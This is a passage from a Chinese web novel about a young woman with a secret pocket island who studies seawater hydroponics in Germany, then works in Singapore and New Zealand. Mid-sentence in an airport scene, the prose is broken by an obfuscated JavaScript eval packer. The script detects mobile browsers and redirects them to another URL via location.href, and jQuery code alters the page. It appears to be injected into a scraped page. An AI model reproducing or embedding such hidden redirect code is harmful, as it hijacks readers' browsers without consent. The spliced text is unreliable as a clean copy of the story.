寝室里也就是戴佳和韩时莉两人知道苏茜申请到了霍大。但签证、正式录取通知书等没到手之前,苏茜只跟家里人讲了自己的选择。 随后就是论文答辩和毕业。 “……我认为简单过滤的海水,尤其是淡水河入海口的水可以直接用于耐盐植物的水培,这样成本低廉,特别适用水资源不那么丰富的区域,但这需要检验时间和更加精密的检测。毕竟反渗透、蒸馏等等,各种海水淡化都需要耗费大量的资源,成本太高,连迪城都不一定用这么昂贵的水来种菜。” 苏茜被“倒霉地”抽到论文现场答辩,二话不说撸袖子就上。她是第二个答辩的,第一个是系里真正的高材生没有问题,两人都是优。今天第三个及之后好几个学生都只有及格,还有一个倒霉蛋发挥极差、被打回重写,还有个犯低级错误复制了别人的、得重写翻译摘要…… “谢谢你为我们班争口气。”班上两个学生被抽到,一个优一个及格。学习委员过来拍拍苏茜的肩膀,还送了她一大块巧克力,“吃点,补补。” “好,谢谢!”答辩本身并不麻烦,就是等结果很无聊,坐得屁股疼。 及格的那个同学早就高高兴兴跑去跟女朋友约会了。 “你参加下周的双选会吗?” “不,我考虑出国。” “啊,学校申请了吗?” “申请了,不过没到最后谁也不知道成不成。不行明年继续。”外加再考一次试。 “挺好的。”学习委员上的是本校研究生,不觉得出国有多美好。他们这个专业,能去啥地方,哪怕留学后留在当地可能还没有留校生活好。 倒是秦健,收到录取通知书后连打三个电话。 苏茜则是在拿到入学通知后,还有签证、证明资料等一堆东西要准备,快速弄完后准备走人。冬季学期虽然比较晚,但总是要提前一段时间过去的。所以她提前将东西扔进岛上,然后回家“团聚”。 家里没有在本地另外买房,仍然租住一楼、租期到今年底就结束,同时还在渝城买了两室两厅的电梯房。这几笔大开销耗尽全家积蓄。 秦健住江城“自己的”一室一厅里,小日子挺不错,就是没有带女朋友回家,不知是没有正式定下还是被分手了。苏茜没理会,在感情问题上,男孩子只要不过分自私、不贪财好色,相比女孩子不容易吃亏。 而苏辰娟今年初就已经办了退休手续,现在就等秦国栋明年初办手续一起移居。 苏茜算时间,再算。她的通史是有日期的,但时间不知道。何况,这个世界并不一定有那场大地震,也不一定就是那天。 所以她跟老妈咬了半天耳朵。快点离开,别回来,万一震动太大呢?!而且明年,是不是还有运动会之类,他们可以去旅游嘛,不是流行异地迁居式养老!根据明年她的情况,来德国看看她过得如何。 苏辰娟有些心动,但考虑到,咳,房价问题、花费问题……歇了全球旅行的念头,但女儿说去京城和各地没去过的景点都晃一圈,这还在经济上可接受范围内。 “你真不需要生活费吗?”当妈的在女儿走之前的晚上还是过来了。他们不敢买大些的房子就是为了小女儿,所以手里还有最后一点现金。 “真不需要。”她拿出银行存折,办了手续都兑换成欧元了。“这是欧元,我也办了银行卡,外面可以刷。” “我来抄一下账号。” “不用。” 苏茜摇头,收起卡。另外还将用了才几个月的手机交给老妈。“妈,这个手机出去不能用,给婆婆吧。” “……好。”苏辰娟真心觉得对不起女儿。儿子有一套房,女儿啥也没有全部靠自己! “不过出去以后我应该不会经常打电话,国际长途真的挺贵的。我会经常写信或者寄明信片回来。” “……好!东西都带齐了吗?”这句话问了三遍了。 “嗯。” “衣服就这几件吗?”都是啥呀这几件?! “都是冲锋衣,防水挡风,适合那里的天气,跟专业也符合。我又不是学商业,不需要一本正经。”留学去德国学金融和商业是笑话。 老妈走了,老哥贼兮兮地探头探脑。 苏茜对秦健勾手指,进来。 “明年会回来吗?”秦健坐过去。 “不会,平时估计没空,长假都要工作,另外我要看看专业就业的情况。实在不行加快拿到学位去其他国家找工作。”所以她借口练厨艺去买菜,实际上用自己的钱买了一大堆可以放一年的食材香料还有调味罐头等等,光黄酒料酒就是整坛整箱买的,煤球、炉子和厨具继续加码,棉被棉衣简直是论打买,以至于现在岛上的山洞都很难走进去了。 “……不一定回来了?” “你们可以去看我。不过国外不是那么好,我是自己种地能吃饱,你就不一定了。”她哥又不是天才,出去就只能干杂工,活不活得下去都是问题。 “你可以在国内……算了,国内种地会被人看不起。” “我又不是种地的,我是做有机蔬菜的。国内的市场目前还不行,太贵了没多少人买,而且都是大公司在做。”没有私人的事。“我其实是想要有个私人小农场的。” “一切都会有的!” 全家人来送机——其实还要转机——秦健也拎着行李,是去江城的班机,起飞时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112097|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间跟苏茜差不多。只是出境和境内的登机口完全不一样。 对了,秦国栋和苏辰娟的同事们至今不知道他们的小女儿去留学了,而三姨二姨是在机票都买好之后才知道的。她们之前四年没少嘀咕学农的能干嘛,现在有些发懵:不都是出国念计算机吗,怎么种菜也能出国。 苏茜其实将大部分东西都放岛上,行李只有证件、文件、衣物,身上只有手表护照和身份证银行卡,避免安检时的麻烦,一大堆现在仍然很锋利、切开气管没问题的武.器就更不用提了,会引起麻烦的贵金属更不用说。 灯芯绒衬衫外加一件中长款冲锋衣后,她就跟着这架大型飞机一路走。转机的时候是活动四肢放松的好机会,她只看不买,这些“琳琅满目”的东西对她真没吸引力。 入境的时候她略带高地口音的不那么标准的标准德语,让窗口的女士差点以为她是从亚洲回来的南部人。再搭火车去斯城,打车“仅仅”十几公里,算是最经济的法子了,就是付的欧元车费绝对不能算汇率。 先去没有正式上班、只有一部分行政人员的学校询问报道、租房、保险等事项,再找个电话打回家报平安、一分钟就挂。至于住,买张沙发床就行了!她有现捞海鲜吃,干嘛现在就吃猪脚配面包吃腻味呢!另外,亚洲食物她有得是,大米、米粉、米线、面粉、糯米粉有上百公斤呢,先把这些吃光再买面粉和意面,省钱又丰盛。 学校里的单人宿舍早没了、也不会给他们这些国际学生优待,她干脆就没申请。一周后,她终于在上课地点附近找到一间十平米出头的出租房间,有暖气和小小的套内卫生间但没浴缸,厨房是三个租客与房东共用的,好在房租心平气和。房东还问她要不要用厨房做饭,她直接摇头。没有油烟机只有微波烤箱电炉,不能用明火,不能有气味,做个P的饭。房间里有个小冰箱,东西拿出来在煤炉上蒸热就行。除此以外,房东在租房合同里没有做什么恶心手脚,每一条分摊费用都写得很明白。 何况她打算在学习期间认真学习加快进度,租个房子只是表明自己在本地有住所,有支出。就是岛上的居住环境需要解决,日用品还有些缺口,自己用防腐木做的三角木屋里的铸铁取暖炉不需要买新的,还有小型发电机——啊不,太贵了,不考虑。 正式上课前,苏茜骑自行车走遍半个城市。前后都有筐的自行车,锦城出品,当然是拿出来用,能省很多交通费。 另外,她成功地在不同城市的不同首饰店里卖掉几批自己用简易二手工具陆续做的足金饰品,够支付学习期间的感恩集市、二手市场、农贸摊位的采购费,但房租之类的仍然需要有明面上的来源,因为这个算是超过额度没有申报的贵金属。此外,二手物品价格还行,不锈建材等不算过分贵,可惜小发电机、柴油之类的“大件”得刷卡。至于旧集装箱,因为码头管得比较严,她也不知道哪里的箱子都是废物,所以一时到不了手。但搁浅的船只除了一个“收藏品”,其他都被她在现实里中转后扔了。 山洞里各种过期的垃圾也全丢海里,一下子多出来不少生活空间,小木屋里可以打开沙发床,晾衣架和大浴桶也没有问题。另外,因为工业品齐全,水渠、厕所、过滤水池及滤材也全部重新维护升级——这么多活计一直到开学才做完,累得苏茜腰都直不起来,还有几件便宜外衣也报废了。 家里的回信寄来时,苏茜这边已经进了教授的试验基地,边做边教学,边学边干活,而且还有其他专业的过来——他们这类复合专业,什么都涉及,尤其是智能机械那一挂,不知道自家客户要达到什么效果、闭门造车是做不出来的。另外,虽然这里不像狮城名校那样鼓励创业,但创新是任何一个有想法的大学校都鼓励的,最多是做到什么程度的区别。 “大部分国家都缺优质廉价的淡水,我就是想,用没有完全淡化的海水作为水培剂,包括那些对人体有害的杂质其实对植物并非有害,有些作物,包括草药甚至欢迎盐分更高的环境。这就是一个成本权衡的过程。” “成功一个作物就能拿到学位了吧?” “太阳能呢?我的方向是太阳能应用,光伏装备可以全世界找便宜的。” “还是需要成本核算吧?屋顶要装太阳能,但水培植物的光源如果都用灯照反而是浪费。” “多些人呼出的二氧化碳,或是取暖烧炉确实能解决二氧化碳,但这个浓度如果智能检测,会贵得要命吧?” “我家乡临海,没有森林,特别干旱的时候水公司限量供应不能喝的地下水,大家的饮用水都是靠买矿泉水,大家有时候不得不用海水洗澡洗衣服。很多年轻人都离开家乡了……这如果能种出来几样能赚钱的作物,我们那里就不会死气沉沉了。” “……” “……” 差不多研究方向的一个小组五个人,其实都不是本地人,还有两个都不是本国人,但大家用本地腔调谈得很投机。总体上,这一组偏商业应用,而另一组三个学生则是偏向环境友好型农药。 教授很高兴不需要用英语授课,但又略遗憾因为他本专业其实是农作物病毒,他的学生们只关心如何应对蔬菜可能感染的病毒、病菌、真菌和虫害以及成本,而不关心原理。 总共两名女生,一组一个。苏茜的同组同学完全没把她当女的,一来她只涂淡彩润唇膏和物理防晒霜,二来她力气大肯干活,另外她还自费“运”来很多海水做试验,所以纯农业以苏茜为主,其他人负责另外几个方向。 种子培育那边也有耐盐碱方向,可惜大家目标不一致。最后苏茜这一组还是放弃过多脑洞,专注在水培方面,而能源领域的小伙伴则去其他专业找应用场景了。 寒假的时候,苏茜寄了复古风景明信片回家,外加几张校园照片和一张“旅行”照片。将一批“货”卖给摆摊卖“古董瓷器”的小摊主后,继续留在学校看护两个小组的“研究成果”,作为对价,其他同学则帮她完善种植本身之外的课题内容。大家开始积累论文的第一步,而且选的题目都不一样。 加了不少海水的辣椒长得依然不错。自家那片海盐度不是很高,尤其是水渠口的水基本可以直接用。就是水培成本过高,还不如搞种植箱、培养土种点菜。对了,培养土。学校里有畜牧专业,当然也有牲畜粪便处理方向,所以同时也自己在岛上做培养土试验。 等春季开学后一个月,两个小组第一篇论文差不多都写出来了。 苏茜依旧延续本科论文的方向,只是细化,加了大量实验数据和“思考”方向。 通过了。 “苏茜……你一个人不可能做出来海水水培,所以作为方向性的再深入写一篇就好。” “好的,教授。” “对了,有家贸易公司对你们的项目很感兴趣,打算在自己大楼划一块区域作为试验,他们负责经费投入,对成功有使用权,要求是……” 这是好消息,但将课题难度直接拉满。 “我和埃里希现场种,水质监控。鲍尔,化学支持,商务扯皮?” “行。” “巴泽尔,光学和空气检测支持,账务问题?” “好吧。” “建设,我来吧,我跟鲍尔合作。目前先按这个分工。” “好。” 大家都不是叽叽歪歪的性子,每周两三天乘火车去现场工作。 但苏茜现在最重要的是确定家人都不在震源附近! 【放心,爸爸已经退休,四口人都在渝城,不回去。我在江城,最多回渝城。二姨不信我们的说辞……三姨走不开……只能说但愿不出问题。】 秦健信上说的很清楚,还有渝城新家的照片。不过,没有他俩的独立房间。 苏茜每天都要看一眼日历,扫一眼国际版面的新闻。焦虑之下开始收集打印世界通史、古今大事记,包括世界杯的比赛结果,然后两张纸贴在一起塑封,一张一张的累积。 41.种菜要专业(六) 突然有一天。 地震了! 7.9级!没有8.0。但时间提前了! 苏茜慌慌张张地跑去打电话,周围人也是一脸担心。听说很严重的地震,会死很多人吧? 家人安好。两个姨妈也联系上了,都没生命危险、房子也都好,就是三姨夫受了点伤,表哥则是“惊吓到”。 苏茜眨眨眼,当没听见。没死没残就行。 “我们家距离震中大概只有不到30英里。但好在家里人这段时间都在另一个城市,房子也没有倒塌,只有一个亲戚受伤了,但不严重。” 大地震连教授都惊动了,尤其听说苏茜家距离震中那么近,也是大吃一惊。好在,没什么重大损失。“你们家非常幸运。” “是的,之前有过几次小的地震,但都是三、四级,没人警觉。而且那时我的父母没有退休,无法离开。现在好了,他们去附近另一个城市生活,我不用太担心。”接下来就是其他问题,比如病毒感染……所以得盯着全家准备一些清热解毒退烧止痛药物包括口罩!不过,是不是早了一点? 苏茜再次回忆了桐史,觉得过几年提醒会好些,尤其是要看秦健研究生毕业后是不是留在江城。似乎那次传染病,死亡人数最多的是江城? 过几年再说吧,现在还太早。 暑假前,那家公司收获了第一批真正意义上自己种的蔬菜,还办了个庆祝会。 “员工们很喜欢过来这片绿色的小巧植物园放松休息,下午茶也都在这里。”人事负责人根本不管什么光照不足、二氧化碳不够这种“小事”,她只要KPI超标就行。而且投资可能还不如这几个做白工的学生的交通费贵,比请设计师弄个室内花园便宜太多! 而另一个事业部的人拉了鲍尔去谈后续。 最后五个人赚的钱也就是弥补了交通费和饭钱,以及大概一个月的房租。 回来的火车上,鲍尔沉默良久才感慨:“赚钱真难!” “是啊!我突然发现这一行工资低得可怕。”一年几万,连斯城的中等都达不到,更不要说去大城市,住房和吃饭就能消耗掉大半收入。 “我们应该更加‘高深’一些,不然对不起博士学位。” “本来我还想赚钱买农场,发现一是买不起,二是卖不掉。” “我们就做配套吧!”苏茜突然笑起来,“比如一个温带城市的姑娘,冬天想吃新鲜蔬菜,所以买了一箱子的材料,箱子里有水培管、溶于水的浓缩营养剂、简易检测装置、透明膜、电线、水泵、灯还有每种作物的说明,最后她在地下室种出来菜,吃到嘴里。嗯,三年后搬家扔了。” “不过首先我们要做到专业。” “当然找家公司工作也好,收入稳定,但要说服主管卖配套资源包不是件容易的事。” “而且还有国际物流问题。” “是啊!想一想都很麻烦。” 本来苏茜想说开个社交帐户做软推广,后来突然想起来这个时候还没有脸书。 “苏茜,你要不要买个黑莓手机?可以收发邮件。” “暂时没钱。所以这个暑假我打算找个临时工作。” “工作?!很多啊!” “对对,有得是!” “工资有要求吗?” “高于最低工资就行。我有许可。其他都行,最好跟农业有点关系。” “工作机会太多了!”能干体力也能干脑力活还不要求工资,简直是天上掉馅饼,岗位有得是。 最后平时比较没有存在感的弗兰克直接将苏茜“抢”下,一起去他亲戚家的农场打工。 这个农场可不是收获季节雇佣一堆中东欧打工仔做零工的农场,更精准的说原来是花园绿地,现在改为玻璃大棚,新建起来不是很久,根本不可能找到有点技术又报酬低的临时工干活,平时都是弗兰克的亲戚家里人自己在做,搞得那家人想度假都不行。 两个半月,两个人三万,休息时间自己调整,但五六千平米大棚的工作量可想而知,而且还要负责对接来收货的农产品公司,包括打包、装上物流车。 “其实之前老师介绍的项目对我们的前景很有帮助,起码打工的时候地点和工资完全不一样。”临工一个月的体力活也不一定能拿到四千。但是,现在这个工资只比劳工高一点。在弗兰克看来也就是打工收入。本来亲戚给他两万,干到开学上课。但他加了个同学,亲戚立刻给到两个人三万。亲戚那里的意思是他拿两万,同学一万,但弗兰克很清楚苏茜的实力,最终两个人平分。 “土地大棚其实比水培容易多了。”而且,这里不是认证的有机蔬菜农场,化肥农药只要符合安全规定就行。再坦白一点,整个欧洲来说大部分人都是普通人家,承受不起纯正有机水培蔬菜的价格,不超标就行了。 苏茜将行李扔到给他们预留的两间“农场小屋”时,还特地研究了下小屋的构造和建造痕迹。结论是在自己岛上的话还是“传统”的三角木屋更适合岛上的风雨以及自己的建筑水平。 “来吧!” “……你会吗?”他不熟啊!弗兰克有些发慌。亲戚总觉得自己肯定很有本事,种蔬菜没问题,可是自己知道自家事,听吩咐没问题,自己一个人应付……万一都死光了自己是不是还得赔钱?哦,他听说华籍人大部分都是种地的,但这位华籍同学会几种溜溜的欧洲语言,还是个女生——抱歉,大部分时候他都想不起来对方是女生,尤其是有一回她在三分钟内将一个一米九、两百磅左右的移民揍翻在地还满口对方母语骂人后,全学院都知道她会传说中的“功夫”——她会种菜吗,在土壤里种的那种? * * * 苏茜跟弗兰克回去上课前,农场主一家在看到漂漂亮亮明显打理过的玻璃棚菜地和买卖单据后,在报酬之外还送了不少乳制品、巧克力等吃食——这些是私人来往,不报税。 苏茜拍下了小屋和玻璃棚的照片寄回家去,连同给每个人的礼物,表示自己在这里干活赚钱。礼物不贵,包括二姨三姨的加起来才不到四百,欧元,不到国内海关报关的程度,都是当地产的保健食品,还贴上了名称、效果和服用方法。 第二学年开始,应该考虑博士论文的内容了。 苏茜依旧是在课业上花费时间最多的学生,另外,修炼和练武虽然效果缓慢但有效,只要对手不是专业的,她能一打二——用武.器就是另一回事了,如果是冷武.器她能一打三;至于热武,暂时没弄到。 寒假和暑假,弗兰克有时还抢不过其他同学,更抢不过自家导师,只能郁闷地自己一个人去干六千一个月的苦力,做得不好还被主家抱怨。 “我为什么那么嘴贱,炫耀苏茜有多厉害。”结果再也没有躺赢赚钱的好事了——两个多月一万五虽然不多,可也能换个更漂亮的女朋友…… “是啊,能打老鼠,能打坏蛋。”唯二的女生卡拉觉得,如果苏茜向她表白,自己也可以“暂时”弯一下。 “我是说她种蔬菜的本事。” “她大学里的种蔬菜实习成绩是优,是上百公顷蔬菜大棚基地里的实习。” “哦,难怪!我觉得她能一个人搞定几千平米。”所以他家亲戚一直不死心。多好用啊,又快又好又便宜还能自己解决技术问题而不需要额外付咨询费。 “她是不是想早点毕业?” “肯定是,她的毕业论文大概已经快写好了。” “唉……我还没想好去哪家公司工作。” “你是不是应该先把学位拿到?” 苏茜的人缘好,主要是因为其他人各种原因没法及时照料实验成果时,只要不是寒暑假,即使周末她也可以帮忙,代价只需要附近便利店里的一杯热拿铁和一块随便什么小甜点。 这种顺手做的事,向来好处多多。 在弄到两个旧集装箱后,她突然就不想花个五六七八年读书了,而是打算四年半搞定。教授其实也奇怪,根据学士论文以及她的努力,明明第一年就可以开始写论文了。因此拿到全文后他甚至都没有打回修改就签字通过。 三个月后就是答辩。苏茜是第二个,其实不管是审稿还是答辩,都正好与上一届的一位学长撞期,甚至题目也是相近的,审稿人答辩人居然都相同,算是搭了顺风车。 “……我的第二篇关联论文研究了二十种不同作物的耐盐度分析,但用的是等离子水加氯化钠,不是海水的总盐度。而且我的观点是需要特别培育耐盐作物更有利于环境……这已经远离我的能力范围了。” 第二位导师是低地人,确切的说是荷籍,所以总体上今天她的口音比较低地。系主任跟她说英语,她便回以英音。 今天的两个答辩人都过了。教授跟系主任都很满意,多夸了几句。 隔天中午,苏茜就请大家吃大餐表示庆祝。吃完饭,大家还去逛丰收节,喝了不少啤酒。 渝城那边以为她还要念两年,然后在欧洲找工作。 等毕业的一个多月时间,苏茜天天上网比较各处的定居政策和买地措施,还发了几十份简历、论文摘要和工作情景照给全世界的跨国农企。 南半球的新国似乎挺不错,博士就能定居,房产税也不高,尤其拥有顶级景致,就是种出来的蔬菜没人买——要么城市里房租太贵又没有景色,要么大自然顶级美颜就是没有人烟。某种程度上,新国唯一比荷国强的就是距离冰川峡谷景区近。可荷国距离北极圈也不远啊,不行可以直接去更北边的国家…… 嗯?热带的狮城?投的简历里似乎没有那里的企业? 再看下,原来是介绍里太含糊,只有联系电话之一泄露了地址,另一个电话还是德国这边的呢。 行吧,试试! 网络面试,英语,三个面试官一个是亚洲英语、一个欧洲口音、一个美音,只有她是英音。 他们要在狮城建立新型农企,在当地的产业园里搞个示范区域,推广楼顶菜园装备。因为人手有限,需要她独当一面。 行啊,工资多少? 签三年,底薪加交通住房补贴,每周工作不少于40小时就行,接待参观算在工作时间内,如果销售接单另外按销售提成,续签的话按照通货膨胀增加。底薪其实不算高,但最后那一条非常有诚意,所以苏茜犹豫三秒,答应了。 这边德国的代表处跟她签约,英文版的。毕业后就飞狮城,那边办许可,这边办签证。 签完合同,苏茜给家里打了电话,自己即将毕业,打算去狮城工作三年,三年后再说。 家里正鸡飞狗跳。 “我跟女朋友分手了,她要出国。老妈让我去婚恋平台找对象,被我拒了。” “哈哈哈哈……”真实原因,真的无所谓了。“想来欧洲旅游吗?还是去狮城?我赞助。” “不想。”没钱结婚,不,是没钱买三室两厅养两个娃——彩礼是别想,城里不兴这一套——还要妹妹赞助出国旅游,没那脸!“我现在做兼职,毕业后可能就去这家公司。收入,先做着再说。” “好,认真做。真的,你看我种菜两个月能赚一万欧。” “别以为我不知道你有多累!”夏天闷在十五平米小屋,没空调没暖气只有个卫浴一体小角落,每天体力活加脑力劳动十个小时,两个月基本没有休息。他问自己,大概连体力那一关都撑不下来。 “哪有不累就能赚钱的。”要么身体累、要么心累,哪都不可能轻松赚钱。 “行了,就这样,照顾好自己。别轻易回来,老妈更年期还没过去,别拉你去相亲就难看了,你不知道现在的人有多恶心。”比如他前女友出国前居然相亲二十次……真不知道这些人是怎么想的,蹭绿卡? “那你就说我在德国一时找不到工作跑来狮城做菜园,而且只有三年工作签证,拿不到绿卡,租的一室居套房每个月要一万。” “一万?!” “对,三十平米,有窗户和室内阳台,距离上班地点比较近,一千交通补贴也够了。算比较便宜的。” “你租好房子了?交通费要一千?” “看好房子了。过去就租,不然住酒店每晚六百块不含早餐已经是便宜的。对,一千交通费不贵。” “那你收入多少?” “每个月三万多。”没有计算各项补贴和保险的个人所得税后价哦。 “你说的都是RMB?” “对。” “那,吃饭交通?” “吃饭还行吧,街头大排档五十块一顿饭,有荤有素挺好的。” “五十块是大排档?” “对,还不能包括饮料。跟我现在的地方差不多,一顿快餐不含咖啡五十。你知道斯城不是大城市,房租算便宜的,才四千一个月。” “四千!我可以租两室两厅的江景房了。” “我这里是一间房间,没有厨房,但是交通方便,治安很好,这几年连小偷小摸都没有。”这么平和的社区,差点不习惯了哈。“不过国内的房价会涨得很快的。” “……行了,我下线了。拜。”那花费听得心悸。 “拜。” 结束网络通话,苏茜收拾好东西——都扔岛上,还有半个月的房租就作为房间的清洁费了——蹭完网络,就带着沉重的笔记本和手机出门,离开这个待了五年的学校,赶最晚的火车去机场,乘最早的航班飞亚洲,到那仍然是上午。 行李箱当然是没有的,只有不重的双肩包。先过去公司报道,跟经理聊了一个多小时,公司楼下吃个简餐,地铁加步行去工作的产业园看一个只有几样基础设施的空壳子“工作场地”,了解接下来要做的装备工作、预算、运输、人手安排,然后去房产中介那边签约,转账,拿钥匙。 对了,全程英语。就是本地的亚洲腔有一点不适应。另外,可能是学历和口音的关系,同事们对她都非常亲善,绝对没有对大陆去的人的排挤。 最后中介领着去距离地铁确实很近的公寓楼里。 家具齐全,有空调冰箱卫浴洗衣机的套间,有电磁炉和排气扇,甚至还有咖啡机和空调被。几乎是拎包入住了。 苏茜确实就是拎着包住进来。不过还是背着一个超大购物袋,跑了趟附近的商店区买了不少东西包括水果和绿茶包,顺便购买“高速”互联网服务。 公寓都是内阳台,能开窗,采光良好。苏茜将空调设定到摄氏27度,将明显打扫过的卫生间用消毒巾简单处理下,再拿出自己的存货填满。然后换上自带的三件套,被套尺码略大,直接当被子盖倒是正好,空调被和原来的寝具用品装到密封收纳箱里,爬上自己的室内梯放柜子顶。洗衣烘干一体机则用洗衣机消毒剂先清洗一遍,带紫外线灯的晾衣架也拿出来。 接着是电子产品、日常用品,然后将房间、阳台和周围环境拍照后发邮件给秦健,让他打印了给家里寄过去。 最后在内阳台处放上DIY的可移动家用水培设施,种些本地不出产——其实本地真没什么出产,基本上都是进口,不然也不会正经支持他们搞昂贵的水培蔬菜项目,不就是为了食品供应安全——的蔬菜,节约一点生活费。 岛上的屋子还要一点点造呢!她已经把破破烂烂的原花园木屋都清理干净,还扔掉了碎成渣的水泥地面,重新上了一层水泥地面,还买了好几个不同功率尺码钻头的二手或全新充电电钻。得先固定住地板,不然不搞好就被吹没了。 所以工作的前三个月,苏茜除了工作就是干活,连吃饭都是买现成的,全力在搞小岛,更没空乘公交去自然保护区。直到岛上与现实温差达到二十度、进出转换容易感冒才差不多弄好屋子,做好防雨,装好门帘,调整好炉子烟道。 结果发现与其找木头生炉子取暖,还不如往公寓里一米八的大床一躺直接睡!谁让公寓里冬季的室内温度28度,想再凉快些得开冷气——这个热带城市不需要供暖,但夏季最高温度不算太高、蚊子也被刻意灭杀而略少,勤俭节约或奉行环保的部分居民平时甚至不开空调。 就是,热烘烘的新年颇有些奇怪,常年的夏天虽然身体并非受不了,可仍然不是特别舒适。 要不还是去新国?或者,“老地方”华州?但是,一方是人少地贫城市房价超高,一方是冬天的水灾以及暴.力.犯.罪,很难说到底哪一方更占优势。 先把这三年做完再说吧! 在岛上,于稀薄的灵气中修炼、练武,并且“享受”清冷的空气,回到现世则被热乎乎的空气和丰富的食材气息包围。 其实还不错。 热闹的街市、礼貌的距离、多变的口味,还有亲切的税率、宽容的态度、优秀的治安——存在死刑并且执行的国家才有治安可言,那种杀了无数人只要关个十年、甚至在精神病院“治疗”几年就出来的国家,也就是想弄战利品的苏茜本茜才会有兴趣。这个城市,或者说是小国,除了面积和地貌景观太小太贫乏,没有可挑剔的。 另外,相对宽松的管理让她在白银的相对低位买了一批“现银”,还根据史料和手头的实物定制了不少仿古钱币的模具和简易融化装置,顺便又出了一批“古玩”。 这几年寄回家的礼物都是分两个包裹,全部是亚洲产的实用好物,不便宜也不算贵,即使炫耀也不会引起反感甚至恶意。 不过秦健结婚的时候她难得请了六天假飞回去一趟,特意买了身裙装回去出席婚礼,还送了新人各一个低调的轻奢包包。最妙的是,他们突然结婚是因为新娘意外有孕,一切快速简单。 “小茜啊,你看看你哥哥都结婚了,你年纪确实不小了……”外婆和老妈见到一次就唠叨一次,不过总共也就八次,苏茜就飞回去了。家里有了第四代,老人们会找到事情做的。 回去当晚还去加班看种植园情况。 这个项目不可谓不受关注,但也就那么回事。公司原来的预期抵不过商业价值怎么都做不大。 “苏茜,你考虑去中东工作吗?”那里可以赚大钱是真的。但如果赔钱也会赔得更多。 “哦,不,狮城的高温是我能接受的上限了。虽然我的家乡最高达到40度,但四季分明,附近还有著名的青山,那里是本土宗教有名的修行地……所以我打算去新国,试试能不能申请税务居民签证。” “啊!新国!那里的风景太著名了。指环王拍得太壮观了。”开车可到,跟飞出国专门去看是两回事。“税务居民我倒是不清楚。” “试试,不行我就去华州买个小巧林场,种蓝莓和蔬菜养活自己。” 跨度这么大吗?大洋洲到北美。“ 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房子在毫无前途的南岛,海边,雨水多但不平衡,略缺干净的淡水,当地有不少屋子可以烧柴火,还自己挖泄洪渠。不能做木材的木头很便宜,比如她的屋子就有个旧柴火炉,就是不知道自己到的时候那炉子还在不在。 从国际机场落地,需要等隔天的航班转机,到那边机场后还有六七十公里。不过苏茜认为转机之前要研究驾照的问题。租车不行,打车太贵。 她一直没有驾照,而且左边行驶的道路需要适应。另外就是,她的年纪,在这里拿到正式驾照需要一年时间。现在手头只有一辆二手电力辅助山地自行车不需要任何牌照和驾照。但因为车子颇重而且是半旧的,电池在平地上只能用二十公里的样子,其他都得人力骑行。 思考半天,先去房产中介那边拿备用钥匙和其余的文件,转机,到城里报名考驾照笔试、拿学习资料,办网络,买电话卡,买些生活用品和食品,晚上继续睡岛上省大笔旅馆费,然后骑着车子,在寒风不减的八月里慢慢往“家”去。 从公路到小路到石子路再到社区村道,以自己目前的体能依旧累得不轻。 最后是不知道哪一任房主铺的几十米柏油路,路的尽头则是自己的。 小屋。 其实吧,她买的是几千平米的地,中间那个十平米的玩意压根称不上房产吧?! “嘿,你是新房主吗?中介公司前天打电话来说过,没想到你今天就到了。”一个棕发年轻人招呼道,中等个头,笑起来挺讨喜的样子。 “是的,听说我买的是这一块,地方。” “哈哈哈哈!对,你看,这里,还能看到以前房子的痕迹。之前据说有个漂亮木屋,被烧毁了,重建了两次,呃,就是现在的。” 然后,这个看上去挺和善的小伙子,叫她记得去社区里的物业公司办公室交今年的物业、垃圾清运、社区道路管道维修……等等费,以及可能有积欠的水电费、房产税。 “不过你这房子因为面积小,税很低,”堪比垃圾清运费。“你的互联网倒是社区里办比城里过来拉网线更便宜。你可以问下。” 我谢谢你哦! 苏茜皮笑肉不笑地去了那什么办公室,唯一的工作人员也是维修人员就是这个小伙子罗欣诺尔,并且谢绝了对方“整修房子”的建议。 “谢谢,不了,我要研究下这房子怎么处理。”她打着手势,绕这片土地一圈。 嗯,下回找机会打这小子闷棍。 苏茜花了四天功夫重新换门和锁、玻璃窗、抽水马桶等等有些“不可思议”的活计,差点引来全社区百来口人的围观。在她用一辆奇奇怪怪的“三轮车”从镇上陆陆续续拖来一个大浴桶和一大堆树苗,更是让旁人瞠目。 这个房子本身真不值钱,稍微有点价值的是从坡地连到礁石的地块,对了,中间一条村道经过地块是写进购房合同里的,而且业主不能在村道两边建永久性建筑物或破坏地基的巨型植物,更不能会饲养攻击人类的有毒或肉食动物。 所以苏茜在“小屋”和预留空地周边荒废地面上种了一圈铁心木、松树、杉树等,以及大量滨藜、苜蓿之类的植物,还在属于自家的礁石区域种下好不容易在岛上海边存活并且生长了几寸的红树树苗。 一直干到天气热起来,预制可移动木屋也全部运到并且自己动手组装完毕,苏茜才正式通知家人自己的新住址。 照片只拍“乡村”预制屋和海,以及营养液和岛上雨水灌溉下长高不少的植物,加上夕阳时过于美化的光线,看上去就是一个不错的海滨小屋,就是面积小一点,一个人住没毛病。 秦健之前就知道她离开狮城去了新国,但根本不知道她压根不是工作调动,而是直接移居,还买了很小一块地和一栋移动小屋。 他在看到价格、地与(原本永久性)房屋面积时,也是默然。他正式去渝城工作还迁了户口,原来的房子卖掉加上夫妻双方的积蓄买了套二手三室一厅,妹妹的“海边土地”价格换算下,只有自己房子的一半,连预制屋和各种开销也比他的装修家具家电支出少。 “这间屋子有卫生间吗?”秦健的妻子不由问道。他们两个又不是坚信外国什么都好的白痴,虽然有一瞬间被蓝天白云和大海迷住了,将平方英尺换算下,再研究了地理位置与几万人口的“中心”城市间的距离……真没什么可羡慕的。 “好像是在这栋屋子里,你看,有个小走道,那边是厨房、卫生间和储藏室。” “她不工作吗?”吃老本吗? “还继续自己种菜卖吧。这里只有一家小超市,只买日常用品、果汁、酒和罐头食品之类,新鲜的东西要去十五公里的卖场买。便宜饮用水经常断货,不过自来水供应很正常。” 